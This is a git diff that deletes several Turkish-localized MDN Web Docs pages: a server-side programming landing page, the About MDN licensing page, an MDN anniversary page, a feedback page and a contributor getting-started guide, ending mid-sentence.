<li><a href="https://docs.djangoproject.com/en/2.0/ref/applications/#configuring-applications">Applications</a> (Django Docs). Contains information on configuring applications.</li> -</ul> - -<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p> - -<p> </p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> - -<p> </p> diff --git a/files/tr/learn/server-side/index.html b/files/tr/learn/server-side/index.html deleted file mode 100644 index 10a879b683..0000000000 --- a/files/tr/learn/server-side/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Server-side website programming -slug: Learn/Server-side -tags: - - Beginner - - CodingScripting - - Intro - - Landing - - Learn - - NeedsTranslation - - Server - - Server-side programming - - Topic - - TopicStub -translation_of: Learn/Server-side -original_slug: Öğren/Server-side ---- -<p>{{draft("Contact Hamish Willee via ~~chrisdavidmills if you have any questions about this work.")}}</p> - -<p class="summary">The <strong><em>Dynamic Websites </em></strong>–<em><strong> Server-side programming</strong></em> topic is a series of modules that show how to create dynamic websites; websites that deliver customised information in response to HTTP requests. The modules provide a generic introduction to server-side programming, along with specific beginner-level guides on how to use the Django (Python) and Express (Node.js/JavaScript) web frameworks to create basic applications.</p> - -<p>Most major websites use some kind of server-side technology to dynamically display different data as required. For example, imagine how many products are available on Amazon, and imagine how many posts have been written on Facebook? Displaying all of these using completely different static pages would be completely inefficient, so instead such sites display static templates (built using <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>), and then dynamically update the data displayed inside those templates when needed, e.g. when you want to view a different product on Amazon.</p> - -<p>In the modern world of web development, learning about server-side development is highly recommended.</p> - -<h2 id="Learning_pathway">Learning pathway</h2> - -<p>Getting started with server-side programming is usually easier than with client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.</p> - -<p>A basic knowledge of programming concepts (or of a particular programming language) is useful, but not essential. Simlarly, expertise in client-side coding is not required, but a basic knowledge will help you work better with the developers creating your client-side web "front end".</p> - -<p>You will need to understand "how the web works". We recommend that you first read the following topics:</p> - -<ul> - <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">What is a web server</a></li> - <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></li> - <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></li> -</ul> - -<p>With that basic understanding you'll be ready to work your way through the modules in this section. </p> - -<h2 id="Modules">Modules</h2> - -<p>This topic contains the following modules. You should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks . </p> - -<dl> - <dt><a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a></dt> - <dd>This module provides server-technology-agnostic information about server-side website programming, including answers to fundamental questions about server-side programming — "what it is", "how it differs from client-side programming", and "why it is so useful" — and an overview of some of the more popular server-side web frameworks and guidance on how to select the most suitable for your site. Lastly we provide an introductory section on web server security.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a></dt> - <dd>Django is an extremely popular and fully featured server-side web framework, written in Python. The module explains why Django is such a good web server framework, how to set up a development environment and how to perform common tasks with it.</dd> - <dt>Express (node.js/Javascript) Web Framework (TBD)</dt> - <dd>Express is a popular web framwork, written in JavaScript and hosted within the node.js runtime environment. The module explains some of the key benefits of this framework, how to set up your development environment and how to perform common web development and deployment tasks.</dd> -</dl> diff --git a/files/tr/mdn/about/index.html b/files/tr/mdn/about/index.html deleted file mode 100644 index 23852801e3..0000000000 --- a/files/tr/mdn/about/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: MDN Web Docs Hakkında -slug: MDN/About -tags: - - Dokümantasyon - - Lisanslar - - Telif Hakkı - - Topluluk -translation_of: MDN/About -original_slug: MDN/Hakkinda ---- -<div>{{MDNSidebar}}</div> - -<div>{{IncludeSubNav("/en-US/docs/MDN")}}</div> - -<p>MDN Web Docs (previously known as MDN — the Mozilla Developer Network) is an evolving learning platform for Web technologies and the software that powers the Web, including:</p> - -<ul> - <li>Web standards such as <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, and <a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></li> - <li><a href="/en-US/docs/Apps" title="/en-US/docs/Apps">Open Web app development</a></li> - <li><a href="/en-US/docs/Add-ons" title="/en-US/docs/Add-ons">Firefox add-on development</a></li> -</ul> - -<h2 id="Hedefimiz">Hedefimiz</h2> - -<p>MDN's mission is simple: provide developers with the information they need to easily build projects on the <a href="/en-US/docs/Web">open Web</a>. If it's an open technology exposed to the Web, we want to document it.</p> - -<p>We also provide documentation about <a href="/en-US/docs/Mozilla">Mozilla products</a> and how to <a href="/en-US/docs/Mozilla">build and contribute to Mozilla projects</a>.</p> - -<p>If you're not sure whether a particular topic should be covered on MDN, read <a href="/en-US/docs/Project:MDN/Contributing/Does_this_belong">Does this belong on MDN?</a></p> - -<h2 id="Nasıl_yardım_edebilirsin">Nasıl yardım edebilirsin</h2> - -<p>You don't need to be a professional coder or writer to help MDN! We have lots of ways you can help, from reviewing articles to be sure they make sense, to contributing text, to adding sample code. In fact, there are so many ways to help that we have a <a href="/en-US/docs/MDN/Getting_started">Getting Started</a> page that helps you pick tasks to do based on your interests and how much time you have to spare!</p> - -<p>You can also help by <a href="/en-US/docs/MDN/About/Promote">promoting MDN</a> on your own blog or website.</p> - -<h2 id="MDN_topluluğu">MDN topluluğu</h2> - -<p>Our community is a global one. We have amazing contributors all around the world who work in lots of different languages. If you'd like to learn more about us, or if you need help with MDN, check out our <a href="https://discourse.mozilla-community.org/c/mdn">discussion forum</a> or <a href="irc://irc.mozilla.org#mdn">IRC channel</a>! You can also keep up with what we're up to by following our Twitter account, <a href="http://twitter.com/MozDevNet">@MozDevNet</a>. You can also send tweets our way if you see something wrong or if you'd like to offer feedback (or great big thank yous) to our writers and contributors.</p> - -<h2 id="Using_MDN_Web_Docs_content">Using MDN Web Docs content</h2> - -<p>MDN's content is available free of charge, and under open source licenses.</p> - -<h3 id="Telif_hakları_ve_lisanslar">Telif hakları ve lisanslar</h3> - -<p>MDN's content is entirely available under various open source licenses. This section covers the types of content we provide and what licenses are in effect for each.</p> - -<h4 id="Documentation_and_articles">Documentation and articles</h4> - -<p><strong>MDN wiki documents</strong> have been prepared with the contributions of authors from both inside and outside the Mozilla Foundation. Unless otherwise indicated, the content is available under the terms of the <a class="external text" href="https://creativecommons.org/licenses/by-sa/2.5/" rel="nofollow">Creative Commons Attribution-ShareAlike license</a> (CC-BY-SA), v2.5 or any later version.</p> - -<p>When reusing MDN content, you need to ensure two things:</p> - -<ol> - <li> - <p>Attribution is given to the original content.</p> - - <p>Please attribute "Mozilla Contributors" and include a hyperlink (online) or URL (in print) to the specific wiki page for the content being sourced. For example, to provide attribution for this article, you can write:</p> - - <blockquote> - <p><a href="https://developer.mozilla.org/en-US/docs/MDN/About">About MDN</a> by <a href="https://developer.mozilla.org/en-US/docs/MDN/About$history">Mozilla Contributors</a> is licensed under <a href="https://creativecommons.org/licenses/by-sa/2.5/">CC-BY-SA 2.5</a>.</p> - </blockquote> - - <p>Note that in the example, "Mozilla Contributors" links to the history of the cited page. See <a href="https://wiki.creativecommons.org/Marking/Users">Best practices for attribution</a> for further explanation.</p> - </li> - <li> - <p>Your reuse is published under the same license as the original content—CC-BY-SA v2.5 or any later version.</p> - </li> -</ol> - -<h4 id="Code_samples_and_snippets">Code samples and snippets</h4> - -<p>Code samples added on or after August 20, 2010 are in the <a class="external" href="https://creativecommons.org/publicdomain/zero/1.0/">public domain</a> (<a href="https://creativecommons.org/publicdomain/zero/1.0/">CC0</a>). No licensing notice is necessary, but if you need one, you can use: "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/".</p> - -<p>Code samples added to this wiki before August 20, 2010 are available under the <a class="external" href="https://opensource.org/licenses/mit-license.php">MIT license</a>; you should insert the following attribution information into the MIT template: "© <date of last wiki page revision> <name of person who put it in the wiki>".</p> - -<p>You can determine which license a code sample is available under by browsing through the article's history. To view the history:</p> - -<ol> - <li>Click the <strong>Edit in wiki</strong> button in the article header. This takes you to the same article on the <a href="https://wiki.developer.mozilla.org">editable, wiki version of MDN Web Docs</a> (but does not actually put the article in edit mode). </li> - <li>Click the gear-shaped icon in the header of the wiki article, and choose <strong>History</strong> in the menu that appears.</li> - <li>Click <strong>View All</strong>, and then look for the most recent revision that occurred before August 20, 2010 (if any).</li> - <li>Click the date stamp of that revision to see the version of the article on that date.</li> -</ol> - -<p>If the sample exists in the revision you selected, then it was added before the licensing changed and is available under the terms of the MIT license. If it is not there, or there are no revisions before August 20, 2010, then it was added after the change and is in the public domain.</p> - -<h4 id="Contributions">Contributions</h4> - -<p>If you wish to contribute to this wiki, you must make your documentation available under the Attribution-ShareAlike license (or occasionally an alternative license already specified by the page you are editing), and your code samples available under <a href="https://creativecommons.org/publicdomain/zero/1.0/">Creative Commons CC-0</a> (a Public Domain dedication). Adding to this wiki means you agree that your contributions will be made available under those licenses.</p> - -<p>Some older content was made available under a license other than those described above; these are indicated at the bottom of each page by way of an <a class="internal" href="/Archive/Meta_docs/Examples/Alternate_License_Block">Alternate License Block</a>.</p> - -<div class="warning"> -<p>No new pages may be created using alternate licenses.</p> -</div> - -<p><strong>Copyright for contributed materials remains with the author unless the author assigns it to someone else</strong>.</p> - -<p>If you have any questions or concerns about anything discussed here, please contact <a class="external" href="mailto:mdn-admins@mozilla.org?subject=MDN%20licensing%20question" rel="nofollow" title="mailto:eshepherd@mozilla.com">the MDN administrators</a>.</p> - -<h4 id="Logos_trademarks_service_marks_and_wordmarks">Logos, trademarks, service marks and wordmarks</h4> - -<hr> -<p>The rights in the trademarks, logos, and service marks of the Mozilla Foundation, as well as the look and feel of this web site, are not licensed under the Creative Commons license, and to the extent they are works of authorship (like logos and graphic design), they are not included in the work that is licensed under those terms. If you use the text of documents, and wish to also use any of these rights, or if you have any other questions about complying with our licensing terms for this collection, you should contact the Mozilla Foundation here: <a class="external text" href="mailto:licensing@mozilla.org" rel="nofollow" title="mailto:licensing@mozilla.org">licensing@mozilla.org</a>.</p> - -<h3 id="Linking_to_MDN">Linking to MDN</h3> - -<p>See this article for guidance on <a href="/en-US/docs/MDN/About/Linking_to_MDN">linking to MDN</a> for best practices when linking.</p> - -<h2 id="Downloading_content">Downloading content</h2> - -<h3 id="Single_pages">Single pages</h3> - -<p>You can retrieve the content of a single page on MDN by adding <a href="/en-US/docs/MDN/Contribute/Tools/Document_parameters#URL_parameters">URL parameters</a> to specify what format you want.</p> - -<h3 id="Third-party_tools">Third-party tools</h3> - -<p>You can view MDN content via third-party tools like <a href="https://kapeli.com/dash">Dash</a> (for macOS) and <a href="https://zealdocs.org/">Zeal</a> (for Linux and Windows).</p> - -<p><a href="https://kapeli.com/">Kapeli</a> also publishes <a href="https://kapeli.com/mdn_offline">offline MDN docs</a> covering HTML, CSS, JavaScript, SVG, and XSLT.</p> - -<h2 id="Reporting_problems_with_MDN_Web_Docs">Reporting problems with MDN Web Docs</h2> - -<p>See <a href="/en-US/docs/MDN/Contribute/Howto/Report_a_problem">How to report a problem on MDN</a>.</p> - -<h2 id="History_of_MDN_Web_Docs">History of MDN Web Docs</h2> - -<p>The MDN Web Docs (previously <em>Mozilla Developer Network (MDN)</em>, previously <em>Mozilla Developer Center (MDC)</em>, a.k.a. <em>Devmo</em>) project started in early 2005, when the <a class="external" href="https://foundation.mozilla.org">Mozilla Foundation</a> obtained a license from AOL to use the original Netscape <a href="https://web.archive.org/web/*/devedge.netscape.com" title="Project:en/DevEdge">DevEdge</a> content. The DevEdge content was mined for still-useful material, which was then migrated by volunteers into this wiki so it would be easier to update and maintain.</p> - -<p>The name was changed to MDN Web Docs in June 2017. See <a href="https://blog.mozilla.org/opendesign/future-mdn-focus-web-docs/">The Future of MDN: A Focus on Web Docs</a> for the rationale behind this decision.</p> - -<p>You can find more history of MDN on our <a href="/en-US/docs/MDN_at_ten">10th anniversary celebration</a> page, including an oral history by some of the people who were involved.</p> - -<h2 id="Mozilla_Hakkında">Mozilla Hakkında</h2> - -<p>Whether you want to learn more about who we are, how to be a part of <em>Mozilla</em> or just where to find us, you've come to the right place. To find out what drives us and makes us different, please visit our <a href="https://www.mozilla.org/en-US/mission/">mission</a> page.</p> diff --git a/files/tr/mdn/at_ten/index.html b/files/tr/mdn/at_ten/index.html deleted file mode 100644 index 2f7446ff3b..0000000000 --- a/files/tr/mdn/at_ten/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: MDN 10'unda -slug: MDN/At_ten -translation_of: MDN_at_ten -original_slug: MDN_onunda ---- -<div class="summary">İnternetinizin 10 yıldır belgelenmesini kutlayın.</div> - -<div class="column-container"> -<div class="column-8"> -<h2 id="MDN'in_Tarihi">MDN'in Tarihi</h2> - -<p>2005'in başında, idealistlerden oluşan küçük bir takım, tüm Web geliştiriciler için yeni, ücretsiz ve topluluk yapımı bir online kaynak oluşturmak için yola çıktı. Dahice ama sıradışı fikirleri günümüzün Mozilla Developer Network'ü haline geldi—Tüm açık kaynak web projeleri için ham madde. On yıldan sonra, Global topluluğumuz her zamankinden daha büyük,ve hala beraber dökümantasyon, web teknolojileri için örnek kod ve öğrenme kaynakları, CSS, HTML, JavaScript ve özgür Web'i güçlü kılan herşeyi oluşturmaya devam ediyoruz.</p> - -<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/History_of_MDN">Daha Fazla <span class="offscreen">about the history</span></a></p> - -<h2 id="MDN'e_katkı">MDN'e katkı</h2> - -<p>On yıldır, MDN topluluğu özgür Web'i belgeliyor. Yazım hatalarını düzeltmeden yep yeni bir API'nin tüm takımını yazmaya, herkes sunmak için bir şeye sahip ve no contribution is too large or too small. Mozillians topluluğumuzun seçkin üyeleri tarafından 90,000 üzerinde yazılmış veya tercüme edilmiş sayfaya sahibiz. Sen de onlardan biri olabilirsin.</p> - -<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">Daha fazla <span class="offscreen">about contributing</span></a></p> - -<p> </p> - -<p> </p> -</div> - -<div class="column-4">{{TenthCampaignQuote}}</div> - -<h2 id="Subnav">Subnav</h2> - -<ol> - <li><a href="/en-US/docs/MDN_at_ten/">MDN 10'unda</a></li> - <li><a href="/en-US/docs/MDN_at_ten/History_of_MDN">MDN'in tarihi</a></li> - <li><a href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">MDN'e katkı</a></li> -</ol> -</div> diff --git a/files/tr/mdn/contribute/feedback/index.html b/files/tr/mdn/contribute/feedback/index.html deleted file mode 100644 index 1695efe07d..0000000000 --- a/files/tr/mdn/contribute/feedback/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: MDN hakkında geri bildirim gönder -slug: MDN/Contribute/Feedback -translation_of: MDN/Contribute/Feedback ---- -<div><font><font>{{MDNSidebar}}</font></font></div> - -<div><font><font>{{IncludeSubnav ( "/ tr / docs / MDN")}}</font></font></div> - -<p>Mozilla Geliştirici Ağı'na Hoşgeldiniz! Önerileriniz ya da MDN'i kullanmada problemleriniz varsa, doğru yerdesiniz.</p> - -<p><span class="seoSummary"><font><font>Geri bildirim sunmakla ilgilendiğiniz gerçeği sizi Mozilla topluluğunun bir parçası haline getirir ve ilginiz için şimdiden teşekkür ederiz.</font></font></span></p> - -<p><span class="seoSummary"><font><font>İçgörünüzü sunmak için çeşitli seçenekleriniz vardır; </font><font>bu makale size yardımcı olacaktır.</font></font></span></p> - -<h2 id="Belgelendirme_Güncelliği">Belgelendirme Güncelliği</h2> - -<p id="Herşeyden_öncedökümantasyon_ile_ilgili_bir_problem_gördüğünüzde_hataları_düzeltme_özgürlüğünüz_bulunmaktadır.Simply_sign_in_using_Persona_or_Github_then_click_any_blue_Edit_button_to_open_the_editor_and_enter_the_world_of_contributing_to_MDN_documentation._The_documentation_here_is_in_a_wiki_and_is_curated_by_a_team_of_volunteers_and_paid_staff_so_don't_be_shy_—_your_grammar_doesn't_have_to_be_perfect._We'll_clean_it_up_if_you_make_a_mistake_no_harm_done!">Herşeyden önce, belgelendirme ile ilgili bir problem gördüğünüzde, hataları düzeltme özgürlüğünüz bulunmaktadır.</p> - -<ol> - <li><a href="https://github.com/">Github</a> kullanarak <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_an_MDN_account">oturum açın.</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor">Düzenleyiciyi</a> açmak için herhangi bir sayfadaki mavi <strong>Edit</strong> düğmesini tıklayın.</li> - <li>Değişiklikleri tamamladığınızda <strong>Publish</strong> düğmesini tıklayın.</li> -</ol> - -<p><font><font>Buradaki belgeler bir wikidedir ve bir gönüllü ekibi ve ücretli personel tarafından küratörlüğünü yapar, bu yüzden utangaç olmayın - dilbilginiz mükemmel olmak zorunda değildir. </font><font>Bir hata yaparsanız temizleriz; </font><font>zarar yok!</font></font></p> - -<p>MDN belgelerine katkıda bulunmak hakkında daha fazla bilgi için:</p> - -<ul> - <li><font><font>Yapabileceğiniz şeylerin fikirlerine </font><a href="https://developer.mozilla.org/en-US/docs/Project:Getting_started" title="/ Tr / docs / Proje: Getting_started"><font>başlarken</font></a><font> .</font></font></li> - <li><a href="/en-US/docs/MDN/Contribute"><font><font>MDN'ye Katkıda Bulunmak</font></font></a></li> - <li><a href="/en-US/docs/MDN/Contribute/Editor" title="/ Tr-TR / docs / Proje: MDN_editing_interface"><font><font>MDN düzenleme arayüzü</font></font></a></li> -</ul> - -<h2 id="Sohbete_katıl"><font><font>Sohbete katıl</font></font></h2> - -<p><font><font>Bizimle konuş! </font><font>MDN içeriği üzerinde çalışan diğer insanlarla iletişim kurmanın birkaç yolu vardır.</font></font></p> - -<h3 id="Senkronize_Sohbet"><font><font>(Senkronize) Sohbet</font></font></h3> - -<p> - </p><h3 id="Asynchronous_Discussions">(Asynchronous) Discussions</h3> - - -<p>Longer-term discussions happen on our <a href="https://discourse.mozilla-community.org/c/mdn">MDN discussion forum</a>. You can post to the forum via email to <a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>. If you join the forum, you can choose to have notifications about discussions sent to you via email as well.</p> - -<h2 id="Sorun_Bildir">Sorun Bildir</h2> - -<h3 id="Belge_Sorunları">Belge Sorunları</h3> - -<p>Eğer belge içerisinde bir sorun görür ve herhangi bir sebeple onu düzeltemezseniz sorunu <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&projects=mdn/sprints/2&labels=user-report">bildirebilirsiniz</a>! Bu formu herhangi bir belge sorunu için, basit bir düzeltme ya da yeni bir içerik talebi için kullanabilirsiniz. Daha önce de belirtildiği gibi, değişiklikleri kendinize katkıda bulunmaya davet ediyoruz, ancak bu seçenek sizin için de kullanılabilir.</p> - -<h3 id="Site_sorunları">Site sorunları</h3> - -<p>Eğer MDN web sitesi üzerinde problemlerle karşılaşırsanız ya da siteyle ilgili yeni özellikler için fikirleriniz varsa <a href="https://bugzilla.mozilla.org/form.mdn">MDN geliştirici takımına bildirimde bulunabilirsiniz</a>. </p> diff --git a/files/tr/mdn/contribute/getting_started/index.html b/files/tr/mdn/contribute/getting_started/index.html deleted file mode 100644 index 3c2d3639af..0000000000 --- a/files/tr/mdn/contribute/getting_started/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: MDN ile Başlarken -slug: MDN/Contribute/Getting_started -tags: - - Başlarken - - Giriş - - MDN Meta - - Rehber - - Yeni başlayanlar -translation_of: MDN/Contribute/Getting_started ---- -<div>{{MDNSideBar}}</div> - -<p id="What_is_MDN.3F">Biz geliştiricilerden oluşan, marka, tarayıcı veya platform gözetmeden, daha iyi bir internet için kaynaklar inşa eden özgür bir topluluğuz. Herkes katkıda bulunabilir ve katkıda bulunan herkes bizi daha güçlü yapar. Beraber İnternetteki inovasyonlarımıza devam edip çoğunluğun iyiliği için hizmet edebiliriz.</p> - -<p>MDN'nin her parçası (dökümanlar, demolar ve sitenin kendisi) geliştiricilerin özgür topluluğu tarafından oluşturulmuştur, ama sizin katkılarınız olmadan da yapılamazdı!</p> - -<p><strong style="font-size: 2.142857142857143rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">3 Basit Adımda MDN</strong></p> - -<p><span class="seoSummary">MDN herkesin içerik ekleyip düzenleyebildiği bir wiki'dir. Bir programcı olmanıza veya teknoloji hakkında çok şey bilmenize gerek yok. Yapılması gereken çok şey var, basitten (düzeltme okuması ve dilbilgisi düzeltme) karmaşık olanlara kadar (API dökümantasyonu yazmak).</span></p> - -<p>Katkıda bulunmak kolay ve güvenlidir. Hata yapsanız bile kolaylıkla düzeltilir. Eğer yaptıklarınızın tam olarak nasıl görünmesi gerektiğini bilmiyorsanız veya dil bilginiz o kadar iyi değilse bile, endişelenmeyin! MDN'deki içeriklerin olabildiğince iyi olduğuna emin olmak için çalışan bir takımımız var. Biri sizin çalışmanız üzerinden geçip düzenli ve güzel yazıldığına emin olacaktır. Bildiklerinizi paylaşın ve güçlü yanlarınızı takip edin.</p> - -<h3 id="Adım_1_MDN_Hesabı_Oluşturun">Adım 1: MDN Hesabı Oluşturun</h3> - -<p>MDN'e katkıda bulunmaya başlamak için, bir MDN hesabına ihtiyacınız var. Ayrıntılar için <a href="/en-US/docs/MDN/Contribute/Howto/Create_an_MDN_account">how to create an account</a> sayfasına bakın. MDN hesabı oluşturmadan önce bir GitHub hesabına ihtiyacınız olduğunu unutmayın, çünkü şu anda doğrulama için GitHub kullanıyoruz.</p> - -<h3 id="Adım_2_Yapacağınız_işi_seçin">Adım 2: Yapacağınız işi seçin</h3> - -<p>Şu an üye girişi yapmış bulunmaktasınız, aşağıdaki farklı iş türlerinin açıklamalarını okuyun ve size en uygun olanı seçin. İstediğiniz işi seçebilir ve katkıda bulunmaya başlayabilirsiniz.</p> - -<h3 id="Adım_3_Görevi_yapın">Adım 3: Görevi yapın</h3> - -<p>Yapacağınız görev türüne karar verdikten sonra, ilgili sayfayı, kod örneğini, vb. bulun ve yapın!</p> - -<p>İşi mükemmel yapmak konusunda endişelenmeyin; diğer MDN Gönüllüleri gözden kaçan hataları düzeltmek için buradalar. Eğer sorularınız olursa mail listelerindeki bilgiler ve cevaplarınızı alabileceğiniz sohbet kanalları için <a href="/en-US/docs/MDN/Community">Community</a> sayfasını ziyaret edin.</p> - -<div class="note"> -<p><strong>Note: </strong>Eğer gerçek site üzerinde değişiklik yapmadan önce denemeler yapmak istiyorsanız, deneylerinizi yapabileceğiniz bir <strong><a href="/en-US/docs/Sandbox">Sandbox</a></strong> sayfamız bulunmaktadır. Lütfen bu sayfa üzerinde yapacağınız değişikleri sınırlayın. Lütfen bu sayfa üzerinde sırf ne olacağını görmek için gereksiz değişiklikler yapmayın; bu diğerlerinin düzeltmesi gereken bir karışıklık yaratıyor.</p> -</div> - -<p>Seçtiğiniz işi tamamladıktan sonra, başka bir işi almakta özgür hissedin veya <a href="#Other_things_you_can_do_on_MDN">other things you can do on MDN</a> sayfasını ziyaret edin.</p> - -<h2 id="Olası_iş_türleri">Olası iş türleri</h2> - -<p>Yeteneklerinize ve ilgi alanlarınıza göre katkıda bulunmak için takip edeceğiniz birden çok yol var. Bazı işler zorlayıcı olsa da, çok fazla basit işimiz de var. Bir çoğu sadece 5 dakika (veya daha az!) zamanınızı alıyor. İş ve işin kısa açıklaması ile birlikte hangi tür işin yaklaşık ne kadar zaman aldığını bulacaksınız.</p> - -<h3 id="Seçenek_1_Kelimeleri_seviyorum">Seçenek 1: Kelimeleri seviyorum</h3> - -<p>Bize hali hazırdaki dökümanları kontrol ederek veya düzenleyerek ve doğru etiketleri uygulayarak yardımcı olabilirsiniz.</p> - -<ul> - <li><a href="/en-US/docs/MDN/Contribute/Howto/Set_the_summary_for_a_page">Set the summary for a page</a> (5-15 dakika)</li> - <li><a href="/en-US/docs/MDN/Contribute/Howto/Do_an_editorial_review">Editorial Reviews</a> (5–30 dakika)</li> - <li><a href="/en-US/docs/MDN/User_guide/Writing#Editing_an_existing_page">Update an existing article with new information</a> (5 dakika-1 saat)</li> - <li><a href="/en-US/docs/Project:MDN/Contributing/How_to/Write_a_new_entry_in_the_Glossary">Write a new entry in the Glossary</a> (15 dakika-1 saat)</li> - <li><a href="/en-US/docs/MDN/User_guide/Writing#Adding_a_new_page">Write an article about a new technology or API</a> (30 dakika-2 saat)</li> - <li><a href="/en-US/docs/Project:MDN/Contributing/How_to/Write_an_article_to_help_learning_the_web">Write an article to help people learn about the web</a> (1-3 saat)</li> -</ul> - -<div class="note"><strong>Not:</strong> Eğer bir döküman inceliyor veya yenisini yazıyorsanız, <a href="/en-US/docs/MDN/Contribute/Content/Style_guide">Style Guide</a> sayfasını incelemenizi rica ediyoruz. Bu dökümanların tutarlı olduğuna emin olmanızı sağlayacaktır.</div> - -<h3 id="Seçenek_2_Kodlamayı_seviyorum">Seçenek 2: Kodlamayı seviyorum</h3> - -<p>Daha fazla kod örneğine ihtiyacımız var! Ayrıca sitemizin platformu <a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Kuma" style="text-decoration: underline;">Kuma</a>'nın geliştirilmesinde de yardımcı olabilirsin!</p> - -<ul> - <li><a href="/en-US/docs/MDN/Contribute/Howto/Convert_code_samples_to_be_live">Kodlama Örneklerini yaşama döndür</a> (30 dakika)</li> - <li><a href="https://kuma.readthedocs.org/en/latest/installation-vagrant.html">Kuma'yı kur</a> (1 saat)</li> - <li><a href="https://github.com/mozilla/kuma#readme">Kodlama Yamalarını Kuma kaynak koduna gönder</a> (1 saat)</li> - <li><a href="https://developer.mozilla.org/en-US/demos/submit">Yeni bir demo yayınla </a>(1 saat)</li> -</ul> - -<h3 id="Seçenek_3_Hem_kodlamayı_hem_de_kelimeleri_seviyorum">Seçenek 3: Hem kodlamayı hem de kelimeleri seviyorum</h3> - -<p>Elimizde, yeni makaleler yazmak, teknik doğruluk için döküman incelemek veya dökümanları sahiplenmek gibi hem teknik hem de dil becerileri gerektiren işler var.</p> - -<ul> - <li><a href="/en-US/docs/MDN/Contribute/Howto/Tag_JavaScript_pages">Tag JavaScript pages</a> (5 dakika)</li> - <li><a href="/en-US/docs/MDN/Promote">Promote MDN on your own website</a> (5 dakika)</li> - <li><a href="/en-US/docs/MDN/Contribute/Howto/Do_a_technical_review">Technical reviews</a> (30 dakika)</li> - <li><a href="/en-US/docs/MDN/Contribute/Howto/Update_API_page_layout">Update API page layout</a> (30 dakika)</li> - <li><a href="/en-US/docs/MDN/Contribute/Creating_and_editing_pages#Creating_a_new_page">Write a new article on a topic you are familiar with</a> (1 saat veya daha fazla)</li> - <li><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Create an interactive exercise to help people learn about the web</a> (1 saat veya daha fazla)</li> -</ul> - -<h3 id="Seçenek_4_MDN'_i_kendi_dilimde_istiyorum">Seçenek 4: MDN' i kendi dilimde istiyorum</h3> - -<p>MDN'deki Bütün yerellleştirme ve çeviri işleri bizim müthiş gönüllü topluluğumuz tarafından tarafından yapılıyor.</p> - -<ul> - <li><a href="/en-US/docs/MDN/Contribute/Localize/Translating_pages">Sayfaları Çevirme</a> (2 saat)</li> - <li><a href="/en-US/docs/MDN/Contribute/Localize/Localization_projects">Localization projects</a> sayfasında listelenen diğer yerelleştiren insanlarla tanışın (30 dakika)</li> -</ul> - -<h3 id="Seçenek_5_Bazı_yanlış_bilgiler_buldum_ama_nasıl_düzelteceğimi_bilmiyorum">Seçenek 5: Bazı yanlış bilgiler buldum ama nasıl düzelteceğimi bilmiyorum</h3> - -<p>Bulduğunuz sorunları <a class="external" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">filing a documentation bug</a> sayfasından bildirebilirsiniz. (5 dakika)</p> - -<p>Aşağıdaki 